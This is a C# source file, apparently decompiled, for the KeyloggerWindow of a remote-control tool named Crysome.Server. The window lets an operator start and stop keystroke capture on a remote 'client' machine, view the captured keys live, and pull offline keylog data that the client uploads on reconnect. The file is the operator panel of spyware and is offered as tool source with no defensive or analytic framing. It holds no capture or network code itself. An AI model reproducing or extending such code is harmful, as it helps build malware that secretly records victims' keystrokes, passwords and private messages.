225 lines
6.0 KiB
C#
225 lines
6.0 KiB
C#
using System;
|
|
using System.CodeDom.Compiler;
|
|
using System.ComponentModel;
|
|
using System.Diagnostics;
|
|
using System.Windows;
|
|
using System.Windows.Controls;
|
|
using System.Windows.Controls.Primitives;
|
|
using System.Windows.Input;
|
|
using System.Windows.Markup;
|
|
using System.Windows.Threading;
|
|
using Crysome.Server.Model;
|
|
using Crysome.Server.ViewModel;
|
|
using Wpf.Ui.Controls;
|
|
|
|
namespace Crysome.Server.View;
|
|
|
|
public class KeyloggerWindow : FluentWindow, IComponentConnector
|
|
{
|
|
private readonly ClientInfo _client;
|
|
|
|
private readonly ManageClientsViewModel _vm;
|
|
|
|
private bool _running;
|
|
|
|
internal TextBlock TitleText;
|
|
|
|
internal Button StartBtn;
|
|
|
|
internal Button StopBtn;
|
|
|
|
internal Button ClearBtn;
|
|
|
|
internal Button CloseBtn;
|
|
|
|
internal TextBox LogBox;
|
|
|
|
internal Button RequestOfflineBtn;
|
|
|
|
internal TextBox OfflineLogBox;
|
|
|
|
internal TextBlock StatusText;
|
|
|
|
private bool _contentLoaded;
|
|
|
|
public KeyloggerWindow(ClientInfo client, ManageClientsViewModel vm)
|
|
{
|
|
InitializeComponent();
|
|
_client = client;
|
|
_vm = vm;
|
|
((Window)this).Title = "Keylogger — " + (client?.Address ?? "?");
|
|
TitleText.Text = ((Window)this).Title;
|
|
((Window)this).Closed += OnWindowClosed;
|
|
if (!string.IsNullOrEmpty(client?.OfflineKeylogData))
|
|
{
|
|
OfflineLogBox.Text = client.OfflineKeylogData;
|
|
}
|
|
}
|
|
|
|
private void OnWindowClosed(object sender, EventArgs e)
|
|
{
|
|
if (_running)
|
|
{
|
|
_vm.StopKeylogger(_client);
|
|
}
|
|
_vm.UnregisterOfflineKeylogCallback(_client?.Owner);
|
|
}
|
|
|
|
private void StartBtn_Click(object sender, RoutedEventArgs e)
|
|
{
|
|
_running = true;
|
|
((UIElement)(object)StartBtn).IsEnabled = false;
|
|
((UIElement)(object)StopBtn).IsEnabled = true;
|
|
StatusText.Text = "Capturing keystrokes...";
|
|
LogBox.Clear();
|
|
_vm.StartKeylogger(_client, AppendLog);
|
|
_vm.RegisterOfflineKeylogCallback(_client?.Owner, AppendOfflineLog);
|
|
}
|
|
|
|
private void StopBtn_Click(object sender, RoutedEventArgs e)
|
|
{
|
|
_running = false;
|
|
((UIElement)(object)StartBtn).IsEnabled = true;
|
|
((UIElement)(object)StopBtn).IsEnabled = false;
|
|
StatusText.Text = "Stopped.";
|
|
_vm.StopKeylogger(_client);
|
|
}
|
|
|
|
private void ClearBtn_Click(object sender, RoutedEventArgs e)
|
|
{
|
|
LogBox.Clear();
|
|
OfflineLogBox.Clear();
|
|
}
|
|
|
|
private void OfflineTab_Selected(object sender, RoutedEventArgs e)
|
|
{
|
|
if (string.IsNullOrEmpty(OfflineLogBox.Text) && !string.IsNullOrEmpty(_client?.OfflineKeylogData))
|
|
{
|
|
OfflineLogBox.Text = _client.OfflineKeylogData;
|
|
}
|
|
_vm.RegisterOfflineKeylogCallback(_client?.Owner, AppendOfflineLog);
|
|
}
|
|
|
|
private void TabControl_SelectionChanged(object sender, SelectionChangedEventArgs e)
|
|
{
|
|
if (sender is TabControl { SelectedIndex: 1 })
|
|
{
|
|
OfflineTab_Selected(sender, null);
|
|
}
|
|
}
|
|
|
|
private void RequestOfflineBtn_Click(object sender, RoutedEventArgs e)
|
|
{
|
|
OfflineLogBox.AppendText("\n[Offline data request triggered — awaiting upload from client...]\n");
|
|
OfflineLogBox.ScrollToEnd();
|
|
StatusText.Text = "Offline data will arrive automatically on next reconnect.";
|
|
}
|
|
|
|
private void AppendLog(string data)
|
|
{
|
|
((DispatcherObject)this).Dispatcher.BeginInvoke((Delegate)(Action)delegate
|
|
{
|
|
LogBox.AppendText(data);
|
|
LogBox.ScrollToEnd();
|
|
}, Array.Empty<object>());
|
|
}
|
|
|
|
private void AppendOfflineLog(string data, bool isOffline)
|
|
{
|
|
((DispatcherObject)this).Dispatcher.BeginInvoke((Delegate)(Action)delegate
|
|
{
|
|
OfflineLogBox.AppendText(data);
|
|
OfflineLogBox.ScrollToEnd();
|
|
}, Array.Empty<object>());
|
|
}
|
|
|
|
private void CloseBtn_Click(object sender, RoutedEventArgs e)
|
|
{
|
|
((Window)this).Close();
|
|
}
|
|
|
|
private void Header_MouseLeftButtonDown(object sender, MouseButtonEventArgs e)
|
|
{
|
|
try
|
|
{
|
|
((Window)this).DragMove();
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
|
|
[DebuggerNonUserCode]
|
|
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
|
public void InitializeComponent()
|
|
{
|
|
if (!_contentLoaded)
|
|
{
|
|
_contentLoaded = true;
|
|
Uri resourceLocator = new Uri("/Crysome.Server;component/view/keyloggerwindow.xaml", UriKind.Relative);
|
|
Application.LoadComponent(this, resourceLocator);
|
|
}
|
|
}
|
|
|
|
[DebuggerNonUserCode]
|
|
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
|
[EditorBrowsable(EditorBrowsableState.Never)]
|
|
void IComponentConnector.Connect(int connectionId, object target)
|
|
{
|
|
//IL_0060: Unknown result type (might be due to invalid IL or missing references)
|
|
//IL_006a: Expected O, but got Unknown
|
|
//IL_0084: Unknown result type (might be due to invalid IL or missing references)
|
|
//IL_008e: Expected O, but got Unknown
|
|
//IL_00a8: Unknown result type (might be due to invalid IL or missing references)
|
|
//IL_00b2: Expected O, but got Unknown
|
|
//IL_00cc: Unknown result type (might be due to invalid IL or missing references)
|
|
//IL_00d6: Expected O, but got Unknown
|
|
//IL_0115: Unknown result type (might be due to invalid IL or missing references)
|
|
//IL_011f: Expected O, but got Unknown
|
|
switch (connectionId)
|
|
{
|
|
case 1:
|
|
((Border)target).MouseLeftButtonDown += Header_MouseLeftButtonDown;
|
|
break;
|
|
case 2:
|
|
TitleText = (TextBlock)target;
|
|
break;
|
|
case 3:
|
|
StartBtn = (Button)target;
|
|
((ButtonBase)(object)StartBtn).Click += StartBtn_Click;
|
|
break;
|
|
case 4:
|
|
StopBtn = (Button)target;
|
|
((ButtonBase)(object)StopBtn).Click += StopBtn_Click;
|
|
break;
|
|
case 5:
|
|
ClearBtn = (Button)target;
|
|
((ButtonBase)(object)ClearBtn).Click += ClearBtn_Click;
|
|
break;
|
|
case 6:
|
|
CloseBtn = (Button)target;
|
|
((ButtonBase)(object)CloseBtn).Click += CloseBtn_Click;
|
|
break;
|
|
case 7:
|
|
((TabControl)target).SelectionChanged += TabControl_SelectionChanged;
|
|
break;
|
|
case 8:
|
|
LogBox = (TextBox)target;
|
|
break;
|
|
case 9:
|
|
RequestOfflineBtn = (Button)target;
|
|
((ButtonBase)(object)RequestOfflineBtn).Click += RequestOfflineBtn_Click;
|
|
break;
|
|
case 10:
|
|
OfflineLogBox = (TextBox)target;
|
|
break;
|
|
case 11:
|
|
StatusText = (TextBlock)target;
|
|
break;
|
|
default:
|
|
_contentLoaded = true;
|
|
break;
|
|
}
|
|
}
|
|
}
|